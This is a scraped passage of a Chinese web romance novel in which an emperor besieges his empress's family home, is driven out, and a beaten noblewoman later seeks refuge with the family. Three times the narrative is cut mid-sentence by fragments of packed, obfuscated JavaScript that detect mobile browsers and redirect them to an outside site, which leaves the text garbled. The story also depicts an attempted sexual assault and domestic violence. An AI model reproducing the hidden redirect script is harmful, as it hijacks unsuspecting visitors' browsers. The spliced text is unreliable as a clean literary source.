35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673041|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “混蛋,你偷听我和我娘说话?” “朕没有,只是走进院子突然就听到了。” “你…..那你带那么多禁军来做什么,抄家?不是的话,你就给我滚出去,把人全带走!我爹爹和三哥去工部了,他们很快就回来了!” 皇帝抚着苏娘子脸颊,灼热的呼吸喷洒在她的脖颈肌肤上惹得浑身战栗。下一刻就被触不及防的被推在门板上,皇帝压上来嘶哑着声音摩挲着苏娘子耳珠。 “没事,念念。朕带兵把大学士府包围住了,苏师父和三哥进不来的。” “你…..混蛋,你想干什么?” “朕…..” 皇帝怔了一下,抬眼难过的望着苏娘子,“朕不知道,朕只知道朕很想很想你,怕你丢下朕不再回宫。看你不相信朕,费尽心机想要离开朕,朕就很生气很难过。朕常常在想难到真的是朕心还不够狠,做事不够决绝,才以至于到今日进退维谷的境地吗?念念,朕不要什么皇帝的名声了,朕只要你。只要疯这一回,朕死也值了,不枉费朕做皇帝一场,今日才体会到权力这为所欲为的滋味。” “你….你别乱来,这是我家,我爹爹就要回来了!唔…..” 皇帝钳住苏娘子的双手举过头顶,灼热的唇瓣噙住苏娘子的呼吸。她害怕的躲开了,皇帝的唇瓣被贝齿划过微微有些疼。隔着门缝传来了禁卫军首领的声音,“圣上,苏老夫人闹着要见苏娘子,还有大学士府有下人跑出去了。” “照看好朕的岳母大人,看好大学士府,没有朕的命令谁也不许放进来,苏大学士也不例外!” “遵命!” 禁卫首领刚退开,画廊上就传来了文夕夫人愤怒悲痛的斥骂声。 “岳凌,你个王八蛋!你出来,你敢动我女儿一下试试!忘恩负义的东西,我苏家真是瞎了眼养了你那么一条白眼狼!” “苏萤臣你个老不死的,你在哪儿!你自己看看你教出来个什么狼心狗肺的东西,他在欺负我们的女儿,你在哪儿!苏萤臣你在哪儿!” “娘….娘…..唔…..”苏娘子听见文夕夫人的哭声着急的大喊,皇帝连忙捂住她的嘴。他还是怕文夕夫人,痛苦的哀求道:“念念,不要出声不要出声,朕不会伤害你娘的!” 他说这不会伤害,但是文夕夫人被禁卫军拖走声音越来越远了。苏娘子哭着狠狠咬了皇帝手掌一口,“混蛋,放我出去,我要见我娘!” “朕不要,我们不要出去,出去朕就完蛋了!” 皇帝跟着她也哭,打横抱起苏娘子跑进青竹院二楼闺房,然后又急匆匆的跑下楼,锁门锁窗。苏娘子跑下楼梯刚好被堵个正着,皇帝阴沉着脸一步一步逼上前。 “念念要去哪里?” “你….你想要干什么,你别过来!” 皇帝像头环伺已久的恶狼一样突然扑过来,一把将苏娘子扛在肩上回到二楼扔在床上,再去把二楼门窗都锁严实了。再回来的时候苏娘子摸到妆台上的剪刀,慌忙抓起来发着抖的对上皇帝。 “你别过来,再过来我就杀了你!” 皇帝毫无畏惧,步步逼近,苏娘子无措后退绊倒脚踏摔到床上。皇帝伺机扑过来,剪刀正对着朝上,苏娘子本能的伸手捂住刀口。锋利的刀刃一下就划破掌心流了一大摊血,她疼的没空去躲皇帝了,被扑过来的身躯死死的压着,掰正了肩膀扯开单薄的寝衣,露出圆润的肩头。 皇帝像是疯了一样吻上去,唇瓣烫的苏娘子直发抖。她没力气和他挣了,大颗大颗掉着眼泪,虚弱的喊着他的名字。用满是鲜血的双手抚摸他的背脊、脖子和头大,像是安抚一头发疯的狼一样。 “岳凌哥哥…..以后你不要喝酒了好不好,我害怕…..呜….你不要喝酒了。” 皇帝若是苏娘子奋力反抗,激起他的征服心,今夜大抵所有事情都无可挽回了。可她无力反抗像只待宰的羔羊,任由搓磨的时候皇帝浑身的狂躁反而冷静下来了。撑起身只看见一滴一滴鲜红的血滴落在雪白的肌肤上,似红梅落血。 “念念,你….” 皇帝不知道哪儿来的血,傻乎乎的望头顶看,愣了一会儿察觉到脖子有血流下。伸手一摸,血染五指,迟钝的目光缓缓下移才看见苏娘子身侧满手鲜血淋漓。 “念念你…..你别怕,朕马上给你请大夫!没事的,别怕,一定会没事的!” 皇帝跌跌撞撞的爬下床,苏娘子看着他惊慌失措的模样痛苦的闭上眼,沙哑着声音喊道:“你回来!” “念念….”皇帝不知怎么了,回过身苏娘子爬起来一把抱住了他的腰身,埋在他的腰间失声痛哭。 “念念,你怎么了?对不起,是朕不好。如今朕总算明白苏师父和师母为什么不愿意把你嫁给朕了,那我们和离吧,朕放你出宫,放你走。” 苏娘子哭得更大声了,双手紧紧抱着他,像是小时候她要离开京城了一样来同他辞别,也是这样抱着他哭到昏天黑地,最后让苏萤臣抱着上了马车。再醒来后她再也没见过他,经年之后已是物是人非。 皇帝想起来便觉得心疼的窒息,忍不住一遍又一遍的想,当初她没有去四川多好,明明他们就有一段真挚美好的青梅竹马之情的,如何就到了今日的地步。 25. 第 25 章 自来民不与官斗,皇帝兵围大学士府的这夜却涌入了上百名百姓,手拿斧瓢棍棒与禁军对峙。这就是民意,苏萤臣四十多年来在民间积攒的声望,为朝臣所忌惮的民意。 人们感念那位老先生数十年来邻里的照拂,没有什么大恩大德,只是寻常的守望互助,借米施药,托看幼老,互赠瓜果….如无声的细雨浸润到寻常的岁月里温润了人心。 这夜炙热的火光下映着都是一双双愤怒的眼睛,冷峻的面庞。文夕夫人的哭声从高墙下传出来,群情立即就被激化,百姓如潮水一般涌到苏府下,呼叫着放人。禁军后退到门下,手持红缨长枪,厉声恐吓。 “退下,你们这群刁民!造反是不是!” “不退,放了文夕夫人和苏娘子!” “不退!大伙不要怕,他们不敢杀人的!乡亲们冲进去,平日你我受苏老先生照拂,今日到我们帮他救夫人和女儿的时候了!” “退下,再不退可别怪刀枪无眼!” 禁军大声呵斥,整齐踏步逼上前来锋利的长枪对着气势凛然的百姓。双方如点燃的炸药桶一样,顷刻见就起了冲突推搡。禁军不敢真的动手,严密的队形被百姓冲乱。有人抓着机会拿着斧子劈开门房窗户,钻到府中从里打开了大门。 “乡亲们,快跟我们去救文夕夫人!” 府外的喧闹声很快到了花厅,百姓一股脑的冲进去轮打,趁乱救出文夕夫人。禁军眼见局势失控,刁民借势就要冲到后院进到青竹院里。禁卫首领掏出火铳朝天开了一枪,“都给我退下,谁敢再上前来一步!” 百姓确实被吓住了,围着文夕夫人在中间不敢上前,数百人挤满了狭窄的花廊。这时候匆匆一侧人群里挤上一名禁军,跑到为首禁卫首领面前,低声耳语。 “大人,接到命令,可以见血一切后果由圣上承担。” “这….谁的命令?” “阁老。” “嗯?”禁军首领沉眸,心下迟疑不敢下命。 与此同时,苏萤臣和苏三郎已经赶回来了拨开人群挤进府里。 “娘!” “夫人!” 听见他们父子的声音,百姓自动让开道路。苏萤臣和苏三郎冲上前来,看见了狼狈的文夕夫人,发髻珠钗都乱了,双眸通红满脸泪水,嗓子也哑了。 “你去哪里了!苏萤臣,那个畜生在欺负我们的女儿!你给我去五城兵马司调兵,救我们的女儿杀了那个畜生!” 文夕夫人怒涨着通红的双眼,扑向苏萤臣揪着他的衣领,歇斯底里的哭喊。苏萤臣用力的抱住她,抬头难过的望着青竹院里阁楼里微弱的灯火,哽咽道: “夫人,你冷静点,念儿会没事的,没事的!不可以调兵,一旦调兵形同谋反,苏家上下会万劫不复的!” “为什么不可以!苏萤臣你当年起兵逼宫怎么就不怕万劫不复了,为皇帝荣华富贵你不怕,为了女儿你就怕了是不是!五城兵马司、刑部、兵部都有你的学生,你去啊!” “夫人!你相信我,皇上不会乱来的!他是有些糊涂,可他本性不坏的!” “到现在你还维护他,好啊,苏萤臣你真是当的一条好狗!那里面是我的女儿,那畜生当着一个母亲的面欺负她的女儿,你知道我的心有多痛吗?你不去,我去!我去求他们,求他们可怜我这个师母借我兵救我的女儿!” 文夕夫人挣开苏萤臣,提起裙子哭着往外跑,不小心踩空滚下台阶,一旁的百姓看见纷纷伸手相扶关心。 “夫人小心!” “夫人仔细脚下!” 苏萤臣和苏三郎跑上前来左右搀扶住她,文夕崩溃大哭,揪着苏萤臣的衣服胡乱捶打,整个苏府响彻着她撕心裂肺,悲痛欲绝的声音,所有人看着她都难过的别过脸掉下了泪。 突然青竹院里的门从里面打开,响起了一声很轻很轻又悲伤到难以自已的“娘”。 所有人纷纷回头,苏娘子和皇帝手牵着手走出来。文夕夫人歇斯底里的尖叫着,愤怒的推开苏萤臣和三郎,一把拔出一旁禁军腰间的佩刀,疯狂向皇帝砍去。 “畜生,我要杀了你!” “娘,不要!” “念念,小心危险!” “夫人!” “娘!” 淬着寒光的刀锋劈下来,苏娘子冲到上前张开双臂当在皇帝面前。皇帝看见心一下提到了嗓子眼,手疾眼快的捞住苏娘子抱进怀里,用背挡住劈下来的刀。千钧一发间,三郎冲上前徒手抓住了文夕夫人的手腕。苏萤臣正要抢刀,文夕夫人一脚踢开三郎,调转刀尖对着他。 “滚开,不然我连你一起杀!” “夫人你冷静点,你疯了是不是!” “从念念被钟山王的人拐走的时候我就疯了,你不知道吗!”文夕夫人像是听到了什么好笑的笑话一样,狰狞着面目,阴冷的大笑起来。逼退苏萤臣转而又对上皇帝,苏娘子推搡着皇帝望自己身后躲,哭着看着自己的母亲。 “娘,不要,放他走!我没事,我真的没事,您看。您好好看看,我真的没事。” 苏娘子大张开双臂原地转了一圈,想让文夕夫人看清楚,她真的没事,还好好穿着晚上的衣服。知道一个时辰里,她一定害怕担心极了,责怪自己没有能力保护自己的女儿。 “娘,您冷静点,我真的没事。没事了,我们都好好的,没事了。” “念念,过来娘这里。” 文夕夫人冷冷的道,刀尖对着皇帝一刻也未松懈,朝苏娘子伸手希望她能够走到自己身边来。只是这次她花尽心力养大的女儿,从小最是听话的女儿,只要她伸手就会跑过牵住她手掌的女儿再也没向她走过来。 “不要,娘放他走!他是个笨蛋,被人卖了还不知道,今夜的事他不是故意的。” “娘不知道他是什么蛋,娘只知道他带并包围我的家,欺辱我的女儿。我必须要杀了他就算他是皇帝,过来!” “我不,娘放他走!除了这件事,我什么都答应您。放他走,娘,我求求您放他走!” 苏娘子不知道怎么办了,文夕夫人曾因她被拐走患过疯症,她找回来后好长的一段时间还傻乎乎的四处找女儿,一受刺激便容易冲动。苏娘子真的很害怕,只能无措的跪到地上,双眸喊着泪苦苦的哀求。 “娘,放他走好不好,从小您最是疼爱我了,我说什么您都会依我的。” “好,娘答应你。” 文夕夫人神情动摇了,苏娘子和皇帝皆大松了一口,也许是皇帝侥幸的喜悦太过于明显,落入她的眼里脸色很快又阴冷起来,抬起刀重新对准了皇帝心脏。 “娘可以答应你放他走,但娘要你答应和他和离,再也不回宫去!岳凌,你口口声声说爱我的女儿。今夜你要我的女儿,你就死在我刀下,要你的命就同她和离,我放你走!” “娘!”苏娘子被这话吓的头皮发麻,连忙爬起来挡在皇帝面前,“混蛋,你走啊,赶快走!” 和离的话,在小阁楼上皇帝已经说过很多很多遍了。只是说给苏娘子听的时候,像是吐露着难以压抑的感情,恋恋的语气里充满了缱绻和缠绵。当着大庭广众之下,众目睽睽,在如此紧张的氛围里。和离似变成了一刀锋利无比的刀,只是听到便觉心疼到窒息。 “….师母,朕….对不起。朕是个混蛋,今夜让您受惊了。朕这条命十七年前原就不该降生,托您和苏师父的福得了几年椿萱之情,还做了几年逍遥皇帝。朕不要同念念和离,朕愿意死在您的刀下。正好今日肖阁老也在,朕死前最后一道口谕。朕之死不得追究苏家,追究苏师母,天下请你们择一贤能宗室继任吧。” 肖阁老着急道:“圣上,万万不可!” 皇帝伸手轻握住苏娘子的胳膊,侧身挡在文夕夫人身前,指间抚着满脸泪痕的脸颊。这一夜她哭了好多,在阁楼哭完现在又哭。眼睛都肿的跟核桃一样了,像个孩子一样打着哭嗝,滚热的泪珠还跟断线的珠子一样,将人心都烫疼了。皇帝才知道,原来她一哭,肌肤就会大片大片的红肿起来,像是枝头上的醉芙蓉一样。 “以后不要再为朕挡刀了,朕不值得。” 可他还好想好想亲亲她,告诉她,他也可以很温柔很温柔的对她,不会总惹她生气,让她受伤。 却也只是想了想,皇帝平静的闭上双眼,紧紧的拥抱住苏娘子,等着文夕的刀落下。 “混蛋,你以为死了就可以一了百了是吗!你走啊,你给我走,把你的烂摊子收起来!” 苏娘子发着抖,死咬着唇瓣,一把推开皇帝拔下发间的银簪对着自己的脖子。 “娘,放他走,不然我就死在你们面前!” “念念!” 皇帝、文夕夫人、苏萤臣、苏三郎本能的想上前抢簪子,苏娘子哭着往后退,哭着骂皇帝走。 三郎没办法了,只好推搡着皇帝,哀求道:“皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678714|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上您快走,走啊!因为您把我家闹成什么样了,您走,我妹妹才会没事!” “念念…..朕…..” 苏萤臣见状烦躁的不得了,赶紧帮忙着推搡赶皇帝走。 “皇上您走吧,走吧!这到底是什么孽缘,怎么掐也掐不断!您再不走,老臣这个家就要散在您受伤了!” 苏家人动手赶人了,帮忙的百姓单子也大起来,帮忙赶皇帝连同那群禁卫军一起撵出江米巷。 —— 夜闯苏家的闹剧散了,苏家功高盖主为皇帝所忌惮的流言压过了帝后和离的舆论,这场斗争最终从皇帝后宫家事不和,演变成了政治斗争。 三天后边关就传来了急报,苏明伯率领五千精兵千里向奔袭京师。同时西番喇嘛叛乱自立政权,杀死驻地大臣,番地群龙无首,各部落争权夺势互相蚕食。入六月,汛期至,江河暴涨,洪水肆虐向下淹了南阳之下数十州县,瘟疫、流民、暴乱像是捅了蜂一样,突然从四面八方蹿起。 军报、灾情、疫情的奏疏像雪花一样的飞进养心殿,早朝时有大臣谏言,为防苏明伯攻入京师,请求收押苏家人为人质挟制苏明伯,并全国调遣十万大军北上擒王。也有人说苏明伯并无反意,只是动怒与皇帝夜闯苏家,欺辱苏娘子。主张安抚苏明伯,请求皇帝立即答应与皇后和离以安抚住苏家人尤其是苏母的情绪,届时由苏萤臣亲自前往劝降苏明伯。 朝廷里各样的声音都有,争论了两日后,朝臣们终于形成统一的意见。苏明伯统兵多年,苏明仲在东南任封疆大吏也拥兵两万,朝廷又正值多事之秋不宜兴起战乱。群臣联名奏请皇帝与皇后和离,以安抚苏家。 奏疏早朝的时候送到皇帝手中,听完群臣奏请,皇帝气得又扔了奏疏。手掌厚的奏疏从太和门御阶上滚下,拉出一长串朝臣名单,密密麻麻的铺在纸上像是蚂蚁一样。 “朕早朝让你们来议事是为了平叛乱,赈灾救民,不是让你们来给朕出馊主意的!苏明伯要反,苏家要反,你们以为朕和皇后和离就能息事宁人了?朕不会和皇后和离,苏明伯就是打到北京城下来也不用管他。你们先着手西番叛乱和黄河的灾情,该调兵就调兵,该调粮就调粮。” 骂完群臣,皇帝气呼呼甩袍子就走了,肖阁老沉默了一早上,从袖子里掏出一到早就写好的奏疏,沉声喊住皇帝。 “圣上如今还执迷不悟,真要等到苏明伯打到京师,天下大乱才罢休是吗?若不是您发酒疯跑兵围苏家,苏明伯何至于叛乱。苏明伯至孝,文夕夫人所求不过是皇后和离。只要皇上答应和离,苏明伯的危机就可以迎刃而解,朝廷就能专心处置西番叛乱和黄河灾情,您又要把事情拖到无可挽回的地步。群臣谏言圣上不听,是又忘了四年前御驾亲征的教训了吗!” 皇帝顿住脚,转过身脸色阴沉,斜眼冷厉的看着那个高举着奏疏的老头。 “老臣奏请皇上同意与皇后和离,以安抚苏明伯。皇上不同意,老臣就一直跪在太和殿下!” “爱跪你就跪着,朕没空理你!”皇帝气愤甩袖。 “皇上还是如此乖张,不听谏言,不听民意。刚愎自用,秉性如复当年!老臣未能匡扶君上,是臣老迈昏聩无能。臣无颜以面先帝,臣请皇上罢免老臣!罢免了老臣没有人当着皇上的道了,皇上想干什么就干什么!” “你说你要干什么,这个节骨眼你给朕说你要辞官罢官?阁老不会真以为没有你,朕什么也做不成是吧?朕不是当年的皇帝了,您倒还想用当年的把戏拿捏朕!好,你要辞官,朕准你了!” 皇帝绷着脸冲下太和殿,一把拽过肖阁老的奏疏。气愤的乱翻乱骂,夹页里掉落一张百姓请愿书,皇帝看到暴躁的跟头疯狗一样呲牙喘大气。 “好啊,都是要朕和皇后和离!做你们的春秋大梦,苏明伯他就是打到京师脚下来,朕也不会同意和离!至于阁老怕死,朕限你三天出京去!你们还有谁想用罢官来威胁朕的只管来,朕有一个批一个。朝廷没了皇帝才不转,不是没了阁老就不转了!” “谢主龙恩老臣立刻滚出京师,不在皇上面前碍眼了!” “你….” 肖阁老态度刚硬,磕了头站起连挺直了腰脊,昂首挺胸的走出太和殿。皇帝原对他的态度很是不满,看着他真的走了,一去不回头的气势,莫名有些害怕。 “没事…..没事…..” 他拿着奏疏安慰自己,手脚慌乱的跑回养心殿。 26. 第 26 章 夜里,紫禁城格外的炎热,养心殿冰鉴里的冰都化做了水,一丝热风都没有。皇帝半夜热醒,爬起来喝水让太监把冰箭里的冰换了。 大殿里静悄悄的一个人都没有,宫烛也灭了,殿里又潮又热,黏糊糊的粘脚。 “…..大福?人呢,怎么一个人都没有,人都去哪里了?朕热了,来人,把冰鉴里的水换了。” 殿里只回荡着皇帝声音,喊了好几遍都没有人回应。 “大福?” 皇帝扯开了嗓子喊,搁下杯子打开殿门。一阵阴风冷飕飕的吹来,大殿前忽然漫进浓雾,带着浓重的血腥味。皇帝看见浓雾里隐隐站着人,阴风吹过那人就露出了浓雾后的脸。 “念念!” 皇帝看见了苏娘子着急的冲上前拉住她,那张脸骤然间又变成了文夕夫人,瞪着狰狞的血眸,手中拿着禁刀。他没有看到刀,上前一步撞上到刀口上,刀尖一下捅穿了腰腹穿背而出。 “师….师母你…..” 皇帝惊恐的看着文夕夫人,双手摸到腰间沾满了鲜红滚热的血。他以为自己就要死了,跪倒在地,血水瞬间浸没了膝盖。 皇帝举目四望,才看见到处都是烧焦的宫殿,横躺的尸体,飙溅的鲜血。耳边逐渐响起太监宫女的惊叫哭喊,由远及近,由近而远,淹没在马鸣金戈的厮杀声。 “啊!宫变了,苏大反贼杀进宫里来了!” “造反了,弑君了,快跑!!快跑啊!” 皇帝有些懵,怎么会突然就宫变了,苏明伯不是还没到京城吗? “来人…..来人啊,这到底是怎么回事!禁军呢,护驾护驾!!” 他还是怕死,跑到宫道去抓逃命的宫女太监。黑影一个个从身前穿过,他怎么抓也抓不住。直到太监宫女都跑光了,哒哒的马蹄声轻悠悠的响在宫道上。皇帝抬眼看见苏明伯骑着高头大马,手持着一杆红缨长枪慢慢走过来。 马头硬邦邦的撞上他,喷着滚热腥臭的鼻息。长枪突然挑出一把穿过皇帝的腹部,高高举起扬到半空。皇帝看见自己的血一滴一滴落在苏明伯的脸上,拼命抓住长枪。 “为…..为什么?朕没有欺负念念,苏大哥!朕真的没有,你相信我!” 苏明伯手臂用力一震,皇帝感觉长枪直径捅穿了他的身体,再也使不出任何力气,无力的垂下双手,气若游丝的喘息。 “朕…..朕没有,朕没有做对不起师父和师母的事,没有…..” “万…..万岁爷,醒醒。天亮了,各位大人都在太和殿前等着您上早朝呢。” 皇帝迷迷糊糊的听见了呼喊声,有人拍着他的脸,着急的叫他。缓缓睁开眼睛,大福和几个小太监的脑袋挤在龙榻边着急的看着他。 “万岁爷您终于醒了,您一直哭着喊着护驾,吓死了奴婢了,怎么叫也叫不醒。” “朕….朕怎么了?” 皇帝茫然的摸摸肚子,痛感还是很真实像是真的被捅了一枪一样,可是手上没沾血。 大福拉他起来,招呼着小太监备水更衣服。 “万岁爷,您做噩梦了吧。没事的,梦都是相反的。咱们要赶快了,阁老大臣们都等在太和殿了。今儿西北军情,河南灾情还有好多政务要处理呢。” 皇帝揉揉太阳穴,轻吁了一口气,借着大福的力气爬起身。小太监们立刻有条不紊的忙碌起来,梳洗穿衣服没一会儿皇帝就拾掇妥当了。 只是梦里被吓破了胆,脸色晦暗,神情憔悴,坐在了轿撵还在恍惚。 “万岁爷,您怎么了?” 大福担忧的问,皇帝心有余悸靠在背椅上,疲惫的问道:“大福,苏明伯到哪里了?” “听说是到育林了,离京师不过八百里,以大将军的行军速度,不怕不是今夜就能入京。” “好了,朕知道了。朕有些累眯一会儿,到太和殿了叫朕。” 皇帝打断大福的话,自顾闭眼假寐。一晃神的功夫就到太和殿,响了六声鞭声,群臣跪地请安山呼万岁。 出了一会儿中气十足声音和气势,一整个早朝都死气沉沉。前一日送进文书房的奏疏堆成了山,虽是晦涩难懂,但皇帝还是赶着今日早朝前看完。对早朝要议的事大抵有个底,想着肖阁老虽然被赶走了,内阁里还有三位辅臣,政事时局总能拿出点应对之策。 但是没有,早朝鸦雀无声,都等着皇帝拿主意。偶尔有站出来几个大臣,不是请奏羁押苏家人,就是奏请肖阁老回阁辅政事。皇帝听的这些话都气笑了,同朝臣拉扯了几句就不耐烦了。 “朕不想同你们废话,太祖皇帝废除宰相,自此国朝二百年来天子统领六部六科。内阁不过为辅政,如今肖阁老辞官归隐了,剩下几位内阁辅臣你们要是离了肖阁老就辅不了政,票拟不出奏本了就给朕滚蛋!” 皇帝召来太监把昨日送进大内的奏疏搬到太和殿的广场上,堆在百官面前,一人给发了一张板凳。 “今日朕就在这陪着你们,这些奏疏什么时候拿出应对法子了,咱们再散早朝。散不了也没关系,朕今日管你们饭食。要是拿不出就别怪朕翻脸不认人,立刻给朕卷包袱滚蛋。内阁辅臣,六部郎官你们不干有的是人干!” 大臣看着皇帝面面相觑,耷拉着脑袋。没有人主动议事提意见,皇帝就派太监下去挨个发折子派任务。半个时辰后,等他们看完想明白了,拿着花名册一个个点名。 一早上没想到法子应对西北战乱,黄河灾情的六部官员,当场处了一大批包括内阁剩余的三阁臣全让皇帝罢官赶回家了。天黑吏部堂官从紫禁城里出来,连夜去翰林院挑人补缺。 同时后禁军又把苏家围了,没有像上一次夜闯入府动粗。但苏府外围了整整一圈禁军,府中出入随时盘查,连采买禁军也要跟随监视。 这夜苏府外却来了一辆马车,一个小婢女笨拙的驾着车横冲直撞上来,门口的禁军不得以出手套住了受惊的马拦住来人。 “什么人退下!” “皇后娘娘!皇后娘娘,求求您救救我家夫人!” 小婢女跳下车冲禁军前哭喊,江米巷外很快就亮起了火把,为首的紫衣男人带着十几名家丁涌进来,团团围住马车。 “贱人,看你往哪儿跑!跟老子回去,老子还等岳父大人来给你送银子呢!” 男人爬上马车,钻进车内,里面立刻就响起了女人惊恐的哭喊声。 “畜….畜生,你要干什么!你放开我,我不要回去!我死也不回了,你打死我吧!” “打死了你,谁来给老子送钱花!你可是我章家少夫人,首辅大人的千金,你跑什么什么跑。跟为夫回去,保证这次一定好好对你,不打你了好不好。” 小婢女看见那些人其实已经吓破胆了,但还是跑回来推开家丁,爬上马车揪住章男人的头发,疯狂的撕扯。 “混蛋,你放开我家小姐,我和你拼了!” “贱人,敢管爷们的事,去死吧你!” 男人回头踹了一脚,踹中婢女的肚子摔下车一下就摔破了后脑勺,流出一大污血。 “…..皇后….皇后娘娘,救救我家小姐!” 小婢女躺在地下奄奄一息,章家家丁架起马车,压过她的双腿调转车头。眼见着肖小姐又要被抓回去了,小婢女不甘心奋力爬向苏家绝望的哭喊。 “皇后娘娘,皇后娘娘,救救我家小姐!救救我家小姐,她不想死在章家!” 终于,苏家紧闭的大门打开了,数十名家丁涌出来冲散门口的禁军,先行堵住江米巷出口。 苏娘子提着宫灯大步冲向马车,怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你以为你救的是什么人,她父亲可不是什么好东西。当初若不是她死乞白赖的要嫁给我,今天坐在皇后宝座上的可就是她了。我想你一定不知道,她可是进宫去伺候过皇帝三个月的。嫁给我的时候就已经不是处子了,皇后娘娘说这是为什么?” 苏娘子淡淡的抬眼,平静的看着他,神色平静,似不为所动。但攥着提灯的手紧攥着骨节已开始泛白,黑夜无风,气氛紧张,地下的灯影却不停的晃动,暴露出她佯装镇定的慌乱。 “娘娘,知道她为什么不能生吗?太早落过胎,伤了身子落了病根。” 章钦疯狂的大笑,打掉禁军架在脖子上的长枪,吊儿郎当的转着腰间的玉坠离开。 “爷走了,有劳娘娘帮我照顾我夫人,把她身子养好点才能扛得住揍。” 三郎看见连忙上前,问道:“妹妹,就这样让那小子走了?” “现在抓不了他,迟早有一天我要收拾他!”苏娘子眼泪触不及防的就掉了,连忙用手背擦,提灯回府。 三郎有些懵,追着问:“妹妹,你哭了?那混蛋和你说什么了?” “没什么,疯言疯语而已。三哥把肖小姐带到客房去,我去和爹娘说一下。” 苏娘子跟逃似得走了,半个时候长伯请了大夫看诊,谨慎的避到屋外,面色沉重。 “小婢女还好,但肖小姐脾肺肾具已破裂,大罗神仙也没办法了,只看能撑几天了。” 苏萤臣闻言,忧虑重重,失言道:“她若死在这里,只怕是不妥。” 苏娘子瞬间也紧张了起来,“爹爹,我还是皇后,是国母,我怎么能…..我做不到…..” 她无措的看着苏萤臣,像小时候在河堤上遇到了测量不出深度的河水,本能的就想要依靠父亲。 27. 第 27 章 夜欲发的黑了,冷气冲散了夏夜的燥热,披着单衣已经觉得冷意袭人了,偶尔一阵夜风吹来,身上凉飕飕的直起鸡皮疙瘩。客房里的老婆子又跑出来了一回,脸色十分焦急,压低了声音禀告。 “老爷、夫人,怕是不好了,得赶紧叫章家人来接,弄不好肖小姐只怕要在府里咽气了。” “长伯,肖家来人了没有。” 苏萤臣又问了一遍,长伯摇头江米巷子外还依旧不见人影。 文夕夫人只好道:“不管了,先去通知章家人,让他们来把人接回去。” 苏萤臣负手无奈叹气,“只能这样了。” 长伯立刻就派人去章家了,这次依旧去了很久。 苏娘子拉紧了身上的衣服,走到客房门前遥遥的往里望,肖小姐的婢女在房里嚎啕大哭,不停的哀求大夫救救她家小姐。苏家把京师有名的大夫,甚至太医院里的李廷致都请来了。看过肖小姐后几乎所有人都沉重的摇头了,提醒苏萤臣赶紧派人把肖小姐送回家去。送回章家,送回肖家都好。 可据她们是自己逃出章家的,据婢女自己说,肖小姐大抵是觉得自己时日无多了,还了卖身契给她,打发她离开章家。小丫头放心不下肖小姐,半夜偷了马厩的马,套上马车然后把肖小姐偷了出来。想要偷偷带她离开京城,但很快就被章家人发现,章钦带着家丁追她们。无路可去,小丫头只得把马车赶到了江米巷。 肖小姐一路颠簸下来已经快要不行,和章钦在马车里那一下的争执,像是回光返照一般耗尽了她全部的生命力。苏三郎救下她后,身体里的那股精气神一下就散掉了。挨到五更天已是极限了,这样死在别人家中是极为不吉利和忌讳的。 等不到肖家人和章家人,客房里的老婆子着急了,又跑了出来喊:“老爷、夫人,不如直接抬着肖小姐送回去吧。这样死在府中不吉利,送回去死在路上,总比死在府里强。” 苏娘子扶着门难过的望着客房,肖小姐被屏风遮住了,看不见她现在什么情况,只听到婢女的哭声。 她的心很乱很乱,不知道是因为知道肖小姐快要死了还是如何,身上感觉冷极了,又叫小梅去取了披风来。披在身上了却还是觉得冷,怎么捂也捂不暖和。 快要天亮了,渐渐的她发现自己昨夜救下肖小姐的那股义愤填膺的正气已经消散了。甚至变得有些冷漠,不管父亲派人去通知肖家和章家,说要把她送回去都没有制止。 脑子里始终萦绕着章钦离开时的话,肖小姐真的是皇帝的旧情人吗?他们是怎样的关系,她真的为皇帝落过胎才导致的不能生育吗? 苏娘子胡思乱想,想的入迷入神,痴痴的望着客房,似很想很想进去又不敢进去。绣花鞋好几次都夸过门槛了,犹豫了一下又退出来了。 小梅跟着在苏娘子身边,贴心为她提起滑落肩膀的披风,重新盖在肩头上,担忧的望着她沉郁的脸。 “娘子,您是不是有话想要问肖小姐啊?如果你想问的话就进去啊,错过了这件事真的被带进坟里就没人说的清楚了。这是她和皇上的事只有她自己知道,您不问清楚,将来皇上骗你怎么办?” 是啊,皇帝若一口否认和肖小姐的私情,她该怎么办?又或者是承认了他们的旧情,她又该怎么办?若肖小姐因为为年幼他落过胎导致坏了身子,不能生育了,那皇帝算不算简介杀死肖小姐的凶手。这么多年来他们都在京师,皇帝真的一点都不知道肖小姐的处境吗?坐视她被丈夫虐待,冷眼旁观吗? 苏娘子慌乱的退出门,躲到了门后,捂着嘴突然哭了。小梅不知道说错了什么,赶紧扶住她, “娘子您怎么了?您不敢去问,那我帮您去问好不好,这件事总要有个说法啊。” “不要,不要去!”苏娘子一把拉住小梅,泪眼涟涟的看着她,“肖小姐已经很可怜了,没有什么比人命更重要了。不要提起她的伤心事了,让她安心的走。我没事,真的没事。如果真的有那些事,皇上一定会告诉我的,他不会骗我。他还是以前的岳凌哥哥,不会骗我的。” 可她越是不停的说,心却越虚越慌张,当事实血淋淋的就放在她眼前。连情绪都没法遮掩,小梅都看出她的惊慌失措了。 